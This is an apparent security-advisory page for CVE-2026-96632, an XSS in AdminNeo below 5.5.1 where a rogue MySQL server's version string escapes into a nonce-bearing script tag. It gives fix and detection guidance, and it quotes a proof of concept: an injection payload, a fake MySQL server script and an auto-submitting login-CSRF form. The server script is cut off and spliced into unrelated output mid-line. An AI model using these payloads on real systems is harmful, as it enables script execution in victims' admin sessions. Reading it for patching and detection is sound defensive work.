NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Composer (PHP)

CVE-2026-96632: AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

highCVSS 4.0 8.2GHSA-rx7m-wxwq-vxr9

AdminNeo before 5.5.1 puts the database server's version string into an inline script tag that carries a valid CSP nonce, without escaping. A rogue MySQL server can return a crafted version that breaks out of the JavaScript string and runs script in the AdminNeo origin. Upgrade adminneo-org/adminneo to 5.5.1.

Published Oct 30, 2026 · Analysis Oct 31, 2026

What an attacker can do

In admin/core/Admin.php, AdminNeo emits a script block that calls initSyntaxHighlighting with the value of Connection::get()->getVersion(). The value is concatenated into the JavaScript with no escaping. The script tag is created by script(), so it has the page's real nonce, and the Content Security Policy does not block it.

The advisory's proof of concept uses a roughly 80-line Python server that speaks enough of the MySQL protocol to accept any login. Its greeting reports the version 1');alert(origin)//. After login, AdminNeo renders initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion), and the injected code runs.

The attacker needs a reachable rogue MySQL server and a way to make the victim connect to it. The login form has no CSRF token, so an attacker page can auto-submit a POST with auth[server] set to the rogue host. The victim then runs attacker JavaScript in the AdminNeo origin. That can read the page and issue requests as the user. CVSS 4.0 scores integrity impact only (VI:H).

Who is affected

Composer package adminneo-org/adminneo, all versions below 5.5.1. The MySQL driver path is the one demonstrated. Check the installed version:

composer show adminneo-org/adminneo

For the single-file adminneo.php, read the version shown in the page footer.

adminneo-org/adminneo

Ecosystem
Composer (PHP)
Affected
< 5.5.1
Fixed in
5.5.1
Check
composer show adminneo-org/adminneo

How to fix it

Upgrade to 5.5.1. The release notes for 5.5.1 list escaping of the DB server version among the security fixes.

composer update adminneo-org/adminneo

The advisory gives no workaround. Until you upgrade, restrict which database hosts users may connect to and keep AdminNeo off networks where a user could be lured into submitting a login form.

How to tell if you were hit

Look in web server logs for POST requests to adminneo.php whose auth[server] value points to an unexpected or external host, especially from a cross-site Referer. Egress logs showing the AdminNeo host or users' machines connecting to unknown MySQL ports (the PoC used 3307) are another sign. Rendered pages containing a version string with quotes, ); or // inside the initSyntaxHighlighting call confirm exploitation.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

Prerequisites

  • Target runs AdminNeo
  • Attacker controls a reachable MySQL server (a 80-line Python script)

Root Cause

admin/core/Admin.php, lines 1285-1286:

echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");

script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.

Steps To Reproduce

1. Build the environment

Dockerfile (AdminNeo):

FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]

rogue_mysql.py (fake MySQL server that accepts any login):

import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>

The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.

3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Questions

Does CVE-2026-96632 need the attacker to log in to AdminNeo?

No. The advisory says no authentication is needed when combined with login CSRF. The login form has no CSRF token, so an attacker page can force the victim's browser to log in to a rogue server.

Why doesn't the Content Security Policy stop this?

The malicious code sits inside a script tag that AdminNeo itself generates with a valid nonce. The browser trusts that tag, so the injected code runs.

Which version fixes this AdminNeo XSS?

5.5.1. Versions below 5.5.1 are affected.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Composer (PHP) vulnerabilities

All Composer (PHP) entries